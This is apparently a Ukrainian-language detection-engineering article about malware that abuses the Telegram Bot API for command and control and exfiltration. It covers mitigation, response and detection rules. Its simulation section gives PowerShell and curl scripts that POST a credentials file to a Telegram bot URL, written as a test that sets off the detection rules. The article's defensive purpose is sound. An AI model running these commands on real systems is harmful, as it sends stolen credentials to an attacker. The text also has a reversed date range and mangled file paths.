Хроніки виявлення та реагування: дослідження зловживання Telegram
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Стаття пояснює, як кілька зловмисників використовують Bot API і канали Telegram в корпоративному середовищі для командування та управління, ексфільтрації даних і моніторингу жертв. Сімейства шкідливих програм, включаючи DeerStealer, Lumma Stealer, Raven Stealer і троянізований збирач XWorm, жорстко кодують токени ботів або IDs каналів і звертаються до кінцевих точок, таких як /sendMessage і /sendDocument. Це включає запити для виявлення Microsoft Defender і Sentinel, зосереджені на підозрілих рядках команд процесу і трафіку до api.telegram.org. Основний напрямок – створити базове використання Telegram і блокувати API там, де він не потрібен.
Дослідження
SOC NVISO повідомили про чотири спроби вторгнення в період з жовтня 2025 року по березень 2025 року, коли Telegram використовувався на різних етапах життєвого циклу атаки. У статті висвітлюються такі кампанії, як спостереження Lunar Spider за жертвами через підроблені CAPTCHA-приманки, DeerStealer, що надсилає повідомлення операторам через curl, Lumma Stealer, що отримує деталі C2 з каналів Telegram, Raven Stealer, що ексфільтрує архівовані колекції, і зборщик XWorm, що покладається на Bot API як для ексфільтрації, так і для C2. Аналітики вивели індикатори, включаючи командні рядки процесів, цільові мережні адреси та відповідні імена файлів.
Мітигація
Встановіть базове використання Telegram, а потім блокуйте вихідний доступ до api.telegram.org в середовищах, де це не потрібно. Стежте за незвичними процесами (наприклад, curl, powershell, wscript), що ініціюють з’єднання з API, та досліджуйте будь-які сценарії взаємодії з Bot API. Налаштуйте виявлення, щоб придушити очікувану поведінку, таку як запуск telegram.exe, і пріоритизуйте довготривалі або вебхук-запити, що походять від підозрілих бінарних файлів або несподіваних хостів.
Відповідь
Коли діяльність виявлено, ізолюйте постраждалий кінцевий пункт, зупиніть підозрілі процеси та збережіть аргументи командного рядка разом з телеметрією DNS, проксі та мережі. Проведіть поглиблену судову експертизу, щоб ідентифікувати подальші корисні навантаження, пов’язані з кампаніями, такими як DeerStealer або Raven Stealer. Замініть будь-які скомпрометовані токени ботів, вимкніть або анулюйте зловжиті канали Telegram та стримуйте поширення, блокуючи пов’язані індикатори. Якщо зловживання підтверджено, підніміть звітність через офіційні канали Telegram та задокументуйте інцидент, щоб запобігти повторному виникненню.
Потік Атаки
Виявлення
Можливе зловживання Telegram як каналом командування та управління (через dns_query)
Перегляд
Підозріла модифікація виключень Defender (через командний рядок)
Перегляд
Підозрілий процес використовує URL в командному рядку (через командний рядок)
Перегляд
Індикатори компрометації (Emails) для виявлення: Хроніки виявлення і реагування: Вивчення зловживання Telegram
Перегляд
Виявити некерований зв’язок з Telegram API [наприкінці з’єднання Windows]
Перегляд
Виявлення шкідливого використання Telegram API [створення процесу Windows]
Перегляд
Виконання симуляції
Попередньо необхідна перевірка телеметрії та базового стану повинна пройти.
Підстава: цей розділ описує точне виконання техніки супротивника (TTP), розробленої для запуску правила виявлення. Команди і наратив МАЮТЬ точно відобразити відзначені TTP і мають на меті створити саме ту телеметрію, яку очікує виявлення логіки.
-
Опис атаки та команди:
Зловмисник з скомпрометованим хостом Windows бажає ексфільтрувати зібраний файл з обліковими даними (creds.txt) до боту Telegram, яким він керують. Щоб уникнути зберігання користувацької програми, вони використовують вбудованийcurl.exe(встановлений як додаткова функція Windows 10) для POST файлу наhttps://api.telegram.org/bot<ATTACKER_TOKEN>/sendDocument. Команда виконується з PowerShell, щоб забезпечити запис події створення процесу з командним рядком, що містить “api.telegram.org”. Оскільки процесcurl.exe, фільтр правила (InitiatingProcessFileName: "telegram.exe") не придушує сповіщення.# Змінні (замініть на значення, що контролюються зловмисником) $BotToken = "123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11" $ChatID = "987654321" $FilePath = "C:Tempcreds.txt" # Переконайтеся, що файл існує (сімулюваний дамп облікових даних) Set-Content -Path $FilePath -Value "username: admin`npassword: P@ssw0rd!" # Виконати ексфільтрацію через Bot API Telegram $Url = "https://api.telegram.org/bot$BotToken/sendDocument?chat_id=$ChatID" curl.exe -X POST -F "document=@$FilePath" $Url -
Сценарій регресійного тесту: Нижче наведений сценарій відтворює точні кроки, придатні для автоматизованих запусків BAS.
#-------------------------------------------- # Регресійний тест – ексфільтрація через API Telegram #-------------------------------------------- param( [string]$BotToken = "REPLACE_WITH_TOKEN", [string]$ChatID = "REPLACE_WITH_CHATID", [string]$TmpDir = "$env:TEMPTelegramBAS" ) # Створити тимчасовий робочий простір New-Item -ItemType Directory -Path $TmpDir -Force | Out-Null # Симульований файл з обліковими даними $CredFile = Join-Path $TmpDir "creds.txt" "username: admin`npassword: P@ssw0rd!" | Set-Content -Path $CredFile # Збір API URL $Url = "https://api.telegram.org/bot$BotToken/sendDocument?chat_id=$ChatID" # Виклик ексфільтрації Write-Host "[*] Відправка $CredFile до Telegram..." curl.exe -X POST -F "document=@$CredFile" $Url # Проста індикація успіху (не перевіряє доставку) if ($LASTEXITCODE -eq 0) { Write-Host "[+] Команда ексфільтрації виконана." } else { Write-Error "[-] Ексфільтрація не вдалася." } -
Команди очищення: Видаліть тимчасовий файл і директорію; за бажанням завершіть будь-які залишкові
curl.exeпроцеси.# Очищення тимчасових артефактів Stop-Process -Name "curl" -ErrorAction SilentlyContinue Remove-Item -Path $TmpDir -Recurse -Force Write-Host "[*] Очистка завершена."